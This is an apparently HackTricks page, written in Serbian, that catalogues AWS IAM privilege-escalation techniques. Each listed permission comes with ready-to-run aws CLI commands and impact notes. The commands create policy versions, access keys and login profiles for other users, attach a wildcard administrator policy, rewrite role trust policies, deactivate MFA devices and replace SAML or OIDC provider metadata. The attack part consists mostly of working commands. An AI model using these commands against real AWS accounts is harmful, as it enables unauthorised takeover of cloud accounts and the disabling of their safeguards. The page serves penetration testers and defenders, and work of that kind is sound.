AWS - IAM Privesc

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

IAM

Za više informacija o IAM-u pogledajte:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Daje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za iam:SetDefaultPolicyVersion dozvolom korišćenjem --set-as-default oznake. Ovo omogućava definisanje prilagođenih dozvola.

Eksploataciona komanda:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Uticaj: Direktno povećava privilegije omogućavajući bilo koju akciju na bilo kojem resursu.

iam:SetDefaultPolicyVersion

Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno povećavajući privilegije ako nova verzija ima više dozvola.

Bash Komanda:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Uticaj: Indirektno povećanje privilegija omogućavanjem više dozvola.

iam:CreateAccessKey

Omogućava kreiranje ID ključa za pristup i tajnog ključa za pristup za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija.

Eksploatacija:

bash
aws iam create-access-key --user-name <target_user>

Uticaj: Direktno povećanje privilegija preuzimanjem proširenih dozvola drugog korisnika.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktnog povećanja privilegija.

Eksploatacija za kreiranje:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Eksploatacija za ažuriranje:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Uticaj: Direktno povećanje privilegija prijavljivanjem kao "bilo koji" korisnik.

iam:UpdateAccessKey

Omogućava aktiviranje onemogućenog pristupnog ključa, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni ključ.

Eksploatacija:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Uticaj: Direktno povećanje privilegija ponovnim aktiviranjem pristupnih ključeva.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr., CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika.

Eksploatacija za Kreiranje:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Eksploatacija za resetovanje:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Uticaj: Direktno eskaliranje privilegija unutar dozvola usluge korisnika.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola pridružene politike.

Eksploatacija za korisnika:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Eksploatacija za Grupu:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Uticaj: Direktno povećanje privilegija na sve što politika omogućava.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Omogućava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktno povećanje privilegija dodeljivanjem dodatnih dozvola.

Iskorišćavanje za Ulogu:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Eksploatacija za Inline Politike:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Možete koristiti politiku kao:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Uticaj: Direktno eskaliranje privilegija dodavanjem dozvola putem politika.

iam:AddUserToGroup

Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola grupe.

Eksploatacija:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Uticaj: Direktno povećanje privilegija na nivo dozvola grupe.

iam:UpdateAssumeRolePolicy

Omogućava izmenu dokumenta politike pretpostavljanja uloge, omogućavajući preuzimanje uloge i njenih povezanih dozvola.

Eksploatacija:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gde politika izgleda ovako, što korisniku daje dozvolu da preuzme ulogu:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Uticaj: Direktno povećanje privilegija preuzimanjem dozvola bilo koje uloge.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Omogućava učitavanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog povećanja privilegija.

Eksploatacija za učitavanje SSH ključa:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Eksploatacija za deaktivaciju MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Uticaj: Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.

iam:ResyncMFADevice

Omogućava resinkronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite.

Bash komanda:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Uticaj: Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA uređaja.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Sa ovim dozvolama možete promeniti XML metapodatke SAML veze. Tada biste mogli zloupotrebiti SAML federaciju da se prijavite sa bilo kojom ulogom koja joj veruje.

Imajte na umu da će legitimni korisnici moći da se prijave. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Alat sposoban za generisanje SAML metapodataka i prijavu sa određenom ulogom

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Nesigurno u vezi s tim) Ako napadač ima ove dozvole, mogao bi dodati novi Thumbprint kako bi uspeo da se prijavi u sve uloge koje veruju provajderu.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks